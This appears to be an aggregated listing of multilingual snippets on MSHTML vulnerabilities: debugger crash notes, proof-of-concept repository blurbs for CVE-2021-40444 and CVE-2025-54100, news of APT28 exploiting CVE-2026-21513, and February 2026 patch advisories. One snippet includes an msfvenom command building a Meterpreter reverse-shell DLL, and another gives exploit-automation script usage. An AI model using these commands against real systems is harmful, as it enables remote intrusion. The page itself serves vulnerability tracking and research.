CVE-2014-4140

一些粗略笔记 0:007 u MSHTML!CHtmRootParseCtx::AddText+0x104: 6efff0a5 8b8e88000000 mov ecx,dword ptr esi+88h 6efff0ab 898d70ffffff mov dword ptr ebp-90h,ecx 6efff0b1 8945ac mov dword ptr ebp-54h,eax 6efff0b4 8b5118 mov edx,dword ptr ecx+18h 6efff0b7 8bca mov ecx,edx 6efff0b9 83e103 and ecx,3 6efff0bc...

CVE-2014-1773

CClipStack::PushClipRect：无效的数组索引 首先，在启用了页面堆的情况下，从崩溃时的调用栈开始： ChildEBP RetAddr 0919aac8 6b58459f MSHTML!CWorldTransform::IsAxisAligned 0919ab40 6ba228e9 MSHTML!CDispSurface::CClipStack::PushClipRect+0x1a2 0919aba4 6be25b58 MSHTML!CDispSurface::PushClipRectInternal+0x2f 0919abc0 6bf1118f...

CVE-2025-54100

CVE-2025-54100 – PowerShell 响应解析 PoC 一个简洁的概念验证，展示CVE-2025-54100 如何通过恶意HTML解析在Windows PowerShell 5.1中导致远程代码执行（RCE）。 Table of Contents 什么是CVE-2025-54100？ PoC工作原理 快速开始 从受害者主机触发 故障排除与验证 证据 缓解措施 免责声明 参考资料 什么是CVE-2025-54100？ 类型： 当未 使用-UseBasicParsing时，Invoke-WebRequest中的命令注入 严重性： CVSS 7.8（高） 根因：...

CVE-2021-40444-POC

CVE-2021-40444-POC Metasploit Frameworkを使用して、Microsoft MSHTML リモートコード実行（RCE）の脆弱性を再現する試みです。 FlareVMで実行しない場合に最適です 準備 リポジトリを https://github.com/lockedbyte/CVE-2021-40444 からクローンします 後で msfvenom で使用する .dll テンプレートを準備します msfvenom -p windows/meterpreter/reversetcp lhost= lport= -f dll -o template.dll 生成され...

CVE-2021-40444

〖EXP〗Ladon CVE-2021-40444 Office漏洞复现 漏洞概述 北京时间9月8日，绿盟科技CERT监测到微软发布安全通告披露了Microsoft MSHTML 远程代码执行漏洞，攻击者可通过制作恶意的 ActiveX 控件供托管浏览器呈现引擎的 Microsoft Office文档使用，成功诱导用户打开恶意文档后，可在目标系统上以该用户权限执行任意代码。微软在通告中指出已检测到该漏洞被在野利用，请相关用户采取措施进行防护。 MSHTML（又称为Trident）是微软旗下的Internet Explorer 浏览器引擎，也用于 Office 应用程序，以在...

CVE-2014-4109

此崩溃难以复现。附带的概念验证（proof of concept）使触发崩溃代码路径稍微容易一些。我检查崩溃所用的超级科学方法是：一只手点击 URL，另一只手按回车。通常 15 次尝试内就会崩溃。"IE=9" 也有帮助，但不是必需的。 这是一个脚本元素的释放后使用（use-after-free）问题。 root@kitploit: eax=00000000 ebx=00000000 ecx=094c9bd8 edx=00000000 esi=00000000 edi=094c9bd8 eip=6d94ab83 esp=0943ca7c ebp=0943caa8 iopl=0 nv up ...

CVE-2021-40444

Vulnerabilidad de ejecución remota de código en Microsoft MSHTML CVE-2021-40444 ¿Cómo deshabilitar los controles ActiveX en un sistema individual? 1. Para deshabilitar la instalación de controles ActiveX en Internet Explorer en todas las zonas, pegue lo siguiente en un archivo de texto y guárdelo...

Microsoft-Office-Word-MSHTML-Remote-Code-Execution-Exploit

Microsoft-Office-Word-MSHTML-Remote-Code-Execution-Exploit CVE-2021-40444 METASPLOITで使用するエクスプロイト。攻撃者が悪意のあるコードをファイルに注入することで、Microsoft Office Wordを介してリモートコード実行を可能にします...

MSHTML-CVE-2021-40444

https://github.com/lockedbyte/CVE-2021-40444 Consulta el README real desde NotREADME.md Hice pequeños ajustes y automaticé el proceso si tienes DLL sudo bash run.sh -i interface -d dll si quieres que compile el dll por ti sudo bash run.sh -i interface -c "command"...

APT28 Tied to CVE-2026-21513 MSHTML 0-Day Exploited Before Feb 2026 Patch Tuesday

A recently disclosed security flaw patched by Microsoft may have been exploited by the Russia-linked state-sponsored threat actor known as APT28, according to new findings from Akamai. The vulnerability in question is CVE-2026-21513 CVSS score: 8.8, a high-severity security feature bypass affecti...

Microsoft Patch Tuesday for February 2026 — Snort rules and prominent vulnerabilities

Microsoft has released its monthly security update for February 2026, which includes 59 vulnerabilities affecting a range of products, including two that Microsoft marked as "Critical". CVE-2026-21522 is a critical elevation of privilege vulnerability affecting Microsoft ACI Confidential...

CVE-2026-21513

Protection mechanism failure in MSHTML Framework allows an unauthorized attacker to bypass a security feature over a network...

CVE-2026-21513 MSHTML Framework Security Feature Bypass Vulnerability

...

CVE-2026-21513 MSHTML Framework Security Feature Bypass Vulnerability

...

MSHTML Framework Security Feature Bypass Vulnerability

Protection mechanism failure in MSHTML Framework allows an unauthorized attacker to bypass a security feature over a network...

KB5075897: Windows Server version 23H2 Security Update (February 2026)

The remote Windows host is missing security update 5075897. It is, therefore, affected by multiple vulnerabilities - A heap-based buffer overflow issue was discovered in libjpeg-turbo in h2v2mergedupsampleinternal function of jdmrgext.c file. The vulnerability can only be exploited with 12-bit da...

KB5075912: Windows 10 version 21H2 / Windows 10 Version 22H2 Security Update (February 2026)

The remote Windows host is missing security update 5075912. It is, therefore, affected by multiple vulnerabilities - Protection mechanism failure in MSHTML Framework allows an unauthorized attacker to bypass a security feature over a network. CVE-2026-21513 - Access of resource using incompatible...

KB5077181: Windows 11 Version 24H2 / Windows 11 Version 25H2 Security Update (February 2026)

The remote Windows host is missing security update 5077181. It is, therefore, affected by multiple vulnerabilities - Protection mechanism failure in MSHTML Framework allows an unauthorized attacker to bypass a security feature over a network. CVE-2026-21513 - Access of resource using incompatible...

KB5075899: Windows Server 2025 Security Update (February 2026)

The remote Windows host is missing security update 5075899. It is, therefore, affected by multiple vulnerabilities - Protection mechanism failure in MSHTML Framework allows an unauthorized attacker to bypass a security feature over a network. CVE-2026-21513 - Access of resource using incompatible...

KB5075971: Windows Server 2012 Security Update (February 2026)

The remote Windows host is missing security update 5075971. It is, therefore, affected by multiple vulnerabilities - Protection mechanism failure in MSHTML Framework allows an unauthorized attacker to bypass a security feature over a network. CVE-2026-21513 - Heap-based buffer overflow in Microso...